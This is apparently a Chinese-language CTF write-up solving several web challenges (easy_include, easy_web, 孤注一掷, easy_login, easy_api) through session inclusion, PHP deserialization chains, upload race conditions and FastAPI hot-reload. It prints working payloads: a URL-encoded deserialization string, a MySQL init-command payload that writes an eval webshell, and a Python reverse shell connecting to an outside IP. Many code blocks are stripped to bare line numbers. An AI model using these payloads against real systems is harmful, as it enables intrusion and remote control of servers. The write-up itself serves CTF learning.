easy_include
1 |
|
这个waf就是检查路径是否是小写字母开头,直接打session包含,但是路径怎么写呢,这里有个file的协议,后面知道file:///etc/passwd
其实是和localhost/etc/passwd
等效的
1 | import requests |
easy_web
1 |
|
其实链子并不是很难,因为没有绕弯子的地方,不过我还是有疑问,为啥这里的__call
能够触发toString
,不是类被当做是字符串处理才会吗
1 |
|
$args[0][0][2]
的解释
$args
:这是一个数组,包含了所有传递给未定义方法的参数。$args[0]
:这表示$args
数组的第一个元素(即索引为0
的元素)。假设您在调用方法时传递了一个数组作为第一个参数,$args[0]
将会是这个参数。$args[0][0]
:这表示$args[0]
数组的第一个元素(索引为0
)。这意味着$args[0]
本身也是一个数组,并且我们正在访问它的第一个元素。$args[0][0][2]
:这表示$args[0][0]
数组的第三个元素(索引为2
)。同样,这意味着$args[0][0]
也必须是一个数组,并且我们正在访问它的第三个元素。
然后就可以触发__toString()
了,原来正则也可以触发
1 |
|
同时传post
和get
其实只会判断get
,可以绕过waf1,将show[show.show
进行编码绕过waf2,C打头绕过wakeup
1 | $a=new ctf(); |
没看懂这个poc,有会的师傅可以评论区讲讲,反正我运行出来的不行,他不能正常的反序列化,引用地址绕过强比较,cmd
的正则用chr(ascii)
即可绕过,我们还要往ctfw.txt
里面去写可利用的函数而且name要出现base64一次并且只能是一次,且有脏字符需要绕过,这里限制成了只有一次编码,所以不能多次编码绕过,利用编码器进行绕过
1 |
|
将对应字符进行转换
1 |
|
1 | POST /?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%39%38%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%34%3a%22%65%76%69%6c%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%33%3a%7b%69%3a%30%3b%73%3a%30%3a%22%22%3b%69%3a%31%3b%73%3a%30%3a%22%22%3b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%73%3a%39%3a%22%78%69%75%78%69%75%78%69%75%22%3b%73%3a%34%3a%22%63%68%75%31%22%3b%52%3a%31%31%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=Y=00X=00N=00z=00Z=00X=00J=000=00&cmd=%73%68%6f%77_source(chr(47).chr(102).chr(108).chr(97).chr(103)); |
好复杂的一道题,像musc一样的总结题吧
孤注一掷
0DAY,进来是个二维码,扫描拿到源码进行审计,tp5.0,先把源码搞到,然后把applicantion进行替换之后,开始,首先看控制器,里面有个upload.php,多次打比赛的直觉告诉我move出了问题,因为一般move之后都是可以条件竞争的,或者是破坏move的过程,把webshell留下
跟进一下check看看,然后继续跟进checkImage
1 | public function checkImg() |
然后你就发现这就是shi,他反正都返回true的,也就是说任意上传文件,那我们看怎么保存文件的,竞争出来即可,跟进buildSavename
1 | $md5 = md5_file($this->filename); |
所以撞就完事了,由于目录不是固定的,所以没用正则来进行
1 | import requests |
看着像是西湖竞争的那种感觉
easy_login
0DAY,代码都没多少,看看
预期
默认为main路由,紧接着看到上面的userLogger
类
1 | class userLogger{ |
参数可控在__construct()
可以getshell
session_decode
向session中存对象,$data = $_SESSION['user'];
中从中取出,很明显的session反序列化,而且在main.php
中看到了触发的情况
同时还要满足这个条件
我们的目的是返回为NULL值,那就直接在username里面写|
即可达成目的,不用看md5,那么现在写触发链,当ATTR_DEFAULT_FETCH_MODE
指定为262152
,就会将结果的第一列作为类名进行新建对象
在初始化属性值时,sql 的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set 方法,属性初始化结束之后会调用一次__construct
1 |
|
流程就是首先注册用户,密码为马,接着进行session反序列化写入文件,然后进行RCE即可
1 | import requests |
非预期
可以看到存在mysql_helper
类,其中的option
属性修改为PDO的另一个参数 MYSQL_ATTR_INIT_COMMAND
,这个参数可以指定 mysql 连接时执行的语句,直接写个木马都可以
1 |
|
1 | /index.php?action=main&token=token=user%7CO%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A71%3A%22select+%27%3C%3F%3Deval%28%24_POST%5B1%5D%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2Fshell.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D |
easy_api
访问openapi.json可以获得api接口列表
1 | { |
/upload
用来上传文件,必须包含一个类型为 multipart/form-data
的文件,文件字段名称为 file
/uploads/{fileIndex}
(GET)用来下载指定文件
/list
(GET)列出所有上传的文件。
就是这三个路由比较有用,直接写个脚本来上传文件再下载文件看看后端是啥情况
1 | import requests |
那我们可以直接利用这个来进行任意文件读取
1 | import requests |
让AI把结果给整理一下
文件名 | 文件内容描述 |
---|---|
3748af35-aff4-4b5a-38e66e4eaee8 | /bin/sh\u0000-c\u0000/usr/start.sh\u0000 |
4a0ef4f8-7ba8-41b2-893b-8a4559918823 | /bin/sh\u0000/usr/start.sh\u0000 |
309c77ec-ce72-45f1-acdd-4e1e45b0b495 | /usr/local/bin/python\u0000/usr/local/bin/uvicorn\u0000ctfshow2024secret:app\u0000--host\u00000.0.0.0\u0000--reload\u0000 |
afb2c29e-7398-4660-8caf-bd289ebcf78f | /usr/local/bin/python\u0000-c\u0000from multiprocessing.resource_tracker import main;main(4)\u0000 |
c810ca97-d4c4-433f-8548-9ecdac3aec97 | /usr/local/bin/python\u0000-c\u0000from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe |
9fec5735-f46f-4304-988b-64a179f190ab | /usr/local/bin/python\u0000/usr/local/bin/uvicorn\u0000ctfshow2024secret:app\u0000--host\u00000.0.0.0\u0000--reload\u0000 |
365dd01e-f3a7-48ba-a6a5-183a72bedc56 | /usr/local/bin/python\u0000-c\u0000from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe |
得到了/ctfshowsecretdir
和ctfshow2024secret:app
,并且有reload
参数,属于是可以进行热加载了,那我们写个api木马,然后热加载就可以getshell了,上官方脚本
1 | # -*- coding : utf-8 -*- |
然后反弹shell即可
1 | ?c=python%20-c%20%22import%20os%2Csocket%2Csubprocess%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect(('156.238.233.9'%2C9999))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B'%2Fbin%2Fbash'%2C'-i'%5D)%3B%22 |
返回为NULL就拿到shell了,就在当前目录